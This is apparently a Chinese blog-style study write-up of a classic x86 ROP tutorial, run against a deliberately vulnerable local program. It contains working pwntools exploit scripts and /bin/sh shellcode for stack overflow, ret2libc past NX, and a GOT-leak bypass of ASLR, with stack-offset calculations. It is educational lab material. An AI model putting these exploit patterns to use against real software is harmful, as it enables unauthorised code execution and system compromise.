1.概述
通过前面三篇文章,学习栈帧,GOT表,PLT表,接下来就可以进行漏洞利用,漏洞利用学习最好的方法就是利用经典,其中经典教学里面最经典的当属蒸米大神的一步一步教学系列
一步一步学ROP之linux_x86篇 – 蒸米
蒸米大神的文章,是实战类型,里面有不少细节的东西,对于我这种没有基础的人来讲,如果不理解是很容易忘记的,因此进行原理上的学习探索
环境:ubuntu 16.04
编译需要在原来的基础上添加-m32参数
2 一步一步的调试并解决疑问
2.1 源代码(蒸米)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
2.2 汇编代码
0x08048460 <+0>: lea ecx,[esp+0x4]
0x08048464 <+4>: and esp,0xfffffff0
0x08048467 <+7>: push DWORD PTR [ecx-0x4]
0x0804846a <+10>: push ebp
0x0804846b <+11>: mov ebp,esp
0x0804846d <+13>: push ecx
0x0804846e <+14>: sub esp,0x4
0x08048471 <+17>: call 0x804843b <vulnerable_function>
0x0804843b <+0>: push ebp
0x0804843c <+1>: mov ebp,esp
0x0804843e <+3>: sub esp,0x88///这是88的关键
0x08048444 <+9>: sub esp,0x4
0x08048447 <+12>: push 0x100
0x0804844c <+17>: lea eax,[ebp-0x88]
0x08048452 <+23>: push eax
0x08048453 <+24>: push 0x0
0x08048455 <+26>: call 0x8048300 <read@plt>
0x0804845a <+31>: add esp,0x10
0x0804845d <+34>: nop
0x0804845e <+35>: leave
0x0804845f <+36>: ret
0x08048476 <+22>: sub esp,0x4
0x08048479 <+25>: push 0xd
0x0804847b <+27>: push 0x8048520
0x08048480 <+32>: push 0x1
0x08048482 <+34>: call 0x8048320 <write@plt>
0x08048487 <+39>: add esp,0x10
0x0804848a <+42>: mov eax,0x0
0x0804848f <+47>: mov ecx,DWORD PTR [ebp-0x4]
0x08048492 <+50>: leave
0x08048493 <+51>: lea esp,[ecx-0x4]
0x08048496 <+54>: ret
2.3 level1 调试细节
2.3.1为什么是溢出点140个字节
通过画堆栈图,对比在read执行之前和执行之后的堆栈变化,进行计算

140个字节就是0xffffd52c - 0xffffd4a0 = 140
而Ret的地址为0xffffd52c----0xffffd530之间的四个字节
所以覆盖返回地址要 140 + ret
2.3.2 level1中的ret是什么,如何计算出来
直接copy 蒸米大神的漏洞利用exp
#!/usr/bin/env python
from pwn import *
p = process('./level1')
ret = 0xbffff290
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
# p32(ret) == struct.pack("<I",ret)
# 对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload) #发送payload
p.interactive() #开启交互shell
上面的ret = 0xbffff290
首先ret是什么:返回地址,为了漏洞利用,将返回地址改成栈的地址
栈的内容是如何计算的:蒸米大神是通过coredump打出来的,
这里也是可以通过调试的方法打出来的:

根据gdb调试的堆栈图来看:上面代码的中ret应该是buffer首地址也就是0xffffd4a0,但是实际上会有稍微一点点的偏差:直接引用蒸米大神的说法
对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置
因此这里的再调试的时候,就需要通过gdb和pwntools一起调试就行了:

通过比较第一次的堆栈图:0x100 下面第二个地址及为buffer 的返回地址,然后修改代码为:
from pwn import *
p = process('./level1')
#ret = 0xbffff290
ret = 0xffffd4c0
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
# p32(ret) == struct.pack("<I",ret)
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()
执行完成之后,成功拿到shell

2.3.3 什么是NX(DEP)
在上面的漏洞利用的过程中,是把shellcode放到栈上,然后通过控制Ret返回到栈上,进行执行,可以通过checksec查看一下当前的安全机制,NX是关闭的

标题因此也就明白了,NX的含义就是栈不可执行
因此在level2的时候,通过执行栈的代码,已经不可行了

2.4 level2 调试细节(DEP/NX)
2.4.1 什么是return to libc
Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护
顾名思义就是通过返回调用在libc中已经存在的函数,完成漏洞利用工作
通过上面我们可以看到,NX开了之后,栈上的代码是不可以执行的,所以只能通过代码段的执行
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
2.4.2 为什么大家都倾向于使用__libc_start_main
同时查看Got表可以看到:
[DEBUG] PLT 0x8048300 read
[DEBUG] PLT 0x8048310 __libc_start_main
[DEBUG] PLT 0x8048320 write
[DEBUG] PLT 0x8048330 __gmon_start__
在函数运行开始,根据GOT和PLT的关系,函数开始运行到main时:__libc_start_main的GOT表中的地址是真实地址,其他的地址都是第一次尚未执行的地址
通过下面对比write的GOT的内容与Write真实地址,同时对比__libc_start_main和真实地址可以看到write got表中的地址,此时并不等于write的真实地址

因此:
1.__libc_start_main是每个程序都有的,具有通用性
2.__libc_start_main中的地址为真实地址
2.4.3漏洞利用脚本(改)
适配本地环境之后,进一步完成漏洞利用脚本
from pwn import *
p = process('./level2')
#p = remote('127.0.0.1',10002)
ret = 0xdeadbeef
systemaddr=0xf7e41940
binshaddr=0xf7f6002b
payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()
注意,如果使用peda话,search的命令需要改一下,
gdb-peda$ searchmem "/bin/sh" 0xf7e07000 0xf7fb8000
Searching for '/bin/sh' in range: 0xf7e07000 - 0xf7fb8000
Found 1 results, display max 1 items:
libc : 0xf7f6002b ("/bin/sh")
这里的起始地址和结束地址可以使用:
cat /proc/{pid}/maps查看一下libc的起始地址(f7e07000)和结束地址(f7fb8000 )
f7e07000-f7fb4000 r-xp 00000000 08:01 914180 /lib32/libc-2.23.so
f7fb4000-f7fb5000 ---p 001ad000 08:01 914180 /lib32/libc-2.23.so
f7fb5000-f7fb7000 r--p 001ad000 08:01 914180 /lib32/libc-2.23.so
f7fb7000-f7fb8000 rw-p 001af000 08:01 914180 /lib32/libc-2.23.so
2.4.4漏洞利用脚本中的RET是什么?
payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
这里有个ret,这个ret到底是什么,又是怎么来的,这里赋值有什么技巧
首先这里写一个system函数测试一下:
#include<stdio.h>
#include<stdlib.h>
int main()
{
printf("command\n");
system("/bin/sh");
return 0;
}
关键汇编代码为
0x0804845f <+36>: push 0x8048508
0x08048464 <+41>: call 0x8048310 <system@plt>
0x08048469 <+46>: add esp,0x10
0x0804846c <+49>: mov eax,0x0
断点分别断在0x08048464 及system,然后画堆栈图为

1.32位函数传参是通过栈来传参的
2.system函数会读取ret + 4 的地址内容作为参数传递
3.ret的值可以随意设置,因为执行完成/bin/sh之后,程序返回与否都无关系,shell已经拿到
因此漏洞利用程序send之后的堆栈为

2.4.5漏洞利用脚本(全自动)
通过leak函数或者通过print可以泄露某个固定的地址(栈溢出存在NX但是系统关闭ALSR)
如果是本地process可以通过leak函数,如果是远程环境,就改成固定地址
from pwn import *
context.log_level="debug"
p = process("./level2")
level2_elf = ELF("./level2")
libc_elf = ELF("/lib32/libc-2.23.so")
#libc_start_main_got_addr = level2_elf.got["__libc_start_main"]
#print("libc_start_main_got_addr: " + hex(libc_start_main_got_addr))
#libc_start_main_addr = int(p.leak(libc_start_main_got_addr,4)[::-1].encode("hex"),16)
#print("libc_start_main_addr: " + hex(libc_start_main_addr))
libc_start_main_addr = int("0xf7e07000",16)
print("libc_start_main_addr: " + hex(libc_start_main_addr))
libc_addr = libc_start_main_addr - libc_elf.symbols["__libc_start_main"]
print("libc_addr: " + hex(libc_addr))
system_addr = libc_addr + libc_elf.symbols["system"]
print("system_addr: " + hex(system_addr))
binsh_addr = libc_addr + next(libc_elf.search('/bin/sh'))
print("binsh_addr: " + hex(binsh_addr))
payload = 'A'*140 + p32(system_addr) + p32(1) + p32(binsh_addr)
p.send(payload)
p.interactive()
2.4.6漏洞libc是如何获得的
通过ldd命令:同时也能看到libc的起始地址

与上文计算出来的相同,如果不想用leak函数,可以直接用这个地址进行计算

2.5 level3 调试细节(ASLR)
开始ASLR
sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space
2.5.1 开启了之后的程序差别在什么地方
通过上文知道,未开启之前,通过ldd是可以查看libc的基地址的,并且始终为:0xf7e07000
但是开启之后,执行多次ldd结果如下,每次都是不一样的,也就是说之前获取libc基地址的方法不好使了

2.5.2 漏洞利用代码
根据蒸米的代码稍微做少量的修改
from pwn import *
context.log_level="debug"
p = process("./level2")
level2_elf = ELF("./level2")
libc_elf = ELF("/lib32/libc-2.23.so")
# p = remote('127.0.0.1', 10003)
plt_write = level2_elf.plt['write']
print('plt_write= ' + hex(plt_write))
got_write = level2_elf.got['write']
print('got_write= ' + hex(got_write))
vulfun_addr = 0x804843b
print('vulfun= ' + hex(vulfun_addr))
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
print("\n###sending payload1 ...###")
p.send(payload1)
print("\n###receving write() addr...###")
write_addr = u32(p.recv(4))
print('write_addr=' + hex(write_addr))
print("\n###calculating system() addr and \"/bin/sh\" addr...###")
system_addr = write_addr - (libc_elf.symbols['write'] - libc_elf.symbols['system'])
print('system_addr= ' + hex(system_addr))
binsh_addr = write_addr - (libc_elf.symbols['write'] - next(libc_elf.search('/bin/sh')))
print('binsh_addr= ' + hex(binsh_addr))
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print("\n###sending payload2 ...###")
p.send(payload2)
p.interactive()
2.5.3 write函数payload的含义
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
我第一次看这个函数时,没有看懂这段payload的含义的,后来学习画堆栈图之后,这段代码就懂了
在发送第一次payload的地方打个断点,看看堆栈

其中已知信息为:

画堆栈图为:

含义:
1.第一次进入vul函数时,返回地址修改为write函数
2.利用write函数,通过write_got将write函数的真实地址泄露出来
3.执行完成write函数之后,返回地址为vul函数
4.再一次利用vul函数的溢出漏洞,完成漏洞利用工作
3 总结
蒸米大神的这个教程是非常细致的,但是对于我这种零基础的人,还需要一点一点的扣细节才行,通过上面这一系列的调试工作,基本理解了每个阶段的原理(仅限x86系统)
本文详细记录了学习《一步一步学ROP_x86》的过程,涵盖从栈溢出到DEP/NX,再到ASLR的调试细节。通过源代码、汇编分析,解释了RET地址计算、NX机制、Return-to-libc等概念,并提供了漏洞利用的脚本和调试方法。

1557

被折叠的 条评论
为什么被折叠?



